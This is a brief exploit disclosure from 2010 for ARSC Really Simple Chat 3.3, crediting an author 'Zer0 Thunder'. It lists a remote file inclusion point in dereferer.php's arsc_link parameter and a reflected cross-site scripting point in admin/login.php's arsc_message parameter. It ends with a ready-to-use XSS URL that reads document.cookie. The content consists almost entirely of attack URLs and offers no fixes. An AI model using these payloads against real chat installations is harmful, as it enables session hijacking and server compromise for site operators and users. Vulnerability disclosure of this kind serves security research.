21 lines
No EOL
558 B
Text
21 lines
No EOL
558 B
Text
=> ARSC Really Simple Chat V3.3 Remote File Inclsion & Cross Site Scripting Vulnerability
|
|
=> Author : Zer0 Thunder
|
|
=> Home : http://colombohackers.com
|
|
=> Download : http://sourceforge.net/projects/arsc/
|
|
=> Date : 06/25/2010
|
|
|
|
|
|
Remote File Inclusion
|
|
---
|
|
|
|
http://localhost/arsc3.3-pre2/base/dereferer.php?arsc_link=[RFI]
|
|
|
|
|
|
XSS Call
|
|
--------
|
|
|
|
http://localhost/arsc3.3-pre2/base/admin/login.php?arsc_message=[XSS]
|
|
|
|
|
|
Example :
|
|
http://localhost/arsc3.3-pre2/base/admin/login.php?arsc_message=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E |